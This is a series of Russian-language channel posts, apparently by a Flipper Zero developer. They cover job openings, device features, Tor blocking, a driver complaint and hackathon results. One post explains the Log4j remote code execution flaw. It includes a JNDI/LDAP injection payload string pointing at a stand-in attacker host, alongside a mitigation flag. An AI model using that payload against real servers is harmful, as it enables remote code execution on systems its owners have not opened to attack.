Моя подруга Катя @ekbainova делает железку, которая машинным зрением трекает как люди смотрят рекламу на экранах: замеряет зрительный контакт, определяет пол, настроение.

Команда ищет продакт-менедждера который полностью возглавит проект:

1. Предложит полное обновление платы Addreality Box, которое выдержит большую нагрузку, чем текущая версия.
2. Наладит заказ производства плат
3. Запустит серию тестирований совместно с QA
4. Наладит производство
5. Оформит международную сертификацию оборудования (в команде с юристом)

Полное описание вакансии
Телега для связи @ekbainova

Заработал BLE HID

Теперь я двачую капчу исключительно через флиппер.

Флиппер обнаруживается как BLE HID клавиатура. Эта функция придумывалась для того, чтобы переключать презентации с флиппера. Но в будущем добавим медиа клавиши для управления плеером и можно будет вообще любые кнопки клавиатуры забиндить.

В России начали блокировать Tor

Пока только некоторые провайдеры, но уже можно сказать, что почалось.

Добро пожаловать в Китай без кошка-жена и две миска риса

Технический писатель для Flipper Zero

Проект Flipper Zero активно развивается, и документация не успевает за разработкой прошивки, поэтому мы ищем технического писателя.

Работать нужно будет напрямую со мной.

💡Твой скилл:

• Опыт работы техническим писателем в сфере IT
• Инженерный бекграунд
• Умение добывать информацию от разработчиков

Тестовое задание:

Напишите инструкцию с картинками, как правильно сфотографировать банан на мобильный телефон, чтобы получилась качественная итоговая фотография.
В тестовом задании будет оцениваться все, как сам материал так и его верстка и дистрибуция. Итоговый результат должен быть максимально продуктовым, поэтому вложения .doc файлов в письме сразу мимо.

Резюме и тестовое задание присылайте на [email protected]

Полный текст вакансии https://career.habr.com/vacancies/1000092945

У половины интернета нашли выполнение произвольного кода через Log4j.

Выглядит это так:

1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.

Гроб. Гроб. Кладбище.
Временный фикс: JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true”

Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).

Кек, Флипперы начали продавать на Авито https://www.avito.ru/moskva/igry_pristavki_i_programmy/flipper_zero_2272718623

Это наверняка реальное предложение, флиппер скорее всего с хакатона.

Не рекомендую покупать, тем более за 50000 рублей, но если вдруг решитесь брать с рук, проверьте версию железа. Это может быть развод, со старой неподдерживаемой версией. Актуальная версия ТОЛЬКО 12.F7B9C6

Она прописана в OTP, читать ее нужно оттуда.

Пофиксил багулину в либе nfc и впилил обработку CMD_AUTH для амибок

Простому российскому обывателю невдомёк, а в уголовном мире произошло историческое событие. По лагерям и изоляторам пущен воровской прогон - кого опустили по беспределу, в обиженные не загонять.

Лично для меня это ничего не меняет. Но в глобальном плане это просто революция. Прямо-таки тектонический сдвиг всего уклада.

Итоги хакатона
(не читал, ошибки принимаются)

https://habr.com/ru/company/flipperdevices/blog/595325/

В статье описаны не все проекты, так как их авторы вовремя не прислали тексты. В будущем, возможно опубликуем остальные проекты.

Короче история такая — на всех операционных системах Флиппер работает полностью без драйверов, но ТОЛЬКО НА WINDOWS нужно устанавливать сраный драйвер для DFU. При том, что сам этот драйвер, просто заглушка для WinUSB.

Нужно аргументированно убедить ST добавить поддержку своего DFU прямо в винду, или хотя бы в Windows Updater.

Помогите грамотно оформить воровской прогон в ST. Я не понимаю что именно делают эти драйвера и как можно сделать так, чтобы их вообще не ставить. Самый важный абзац в конце.

Черновик малявы:
https://zhovner.com/tmp/dear-st/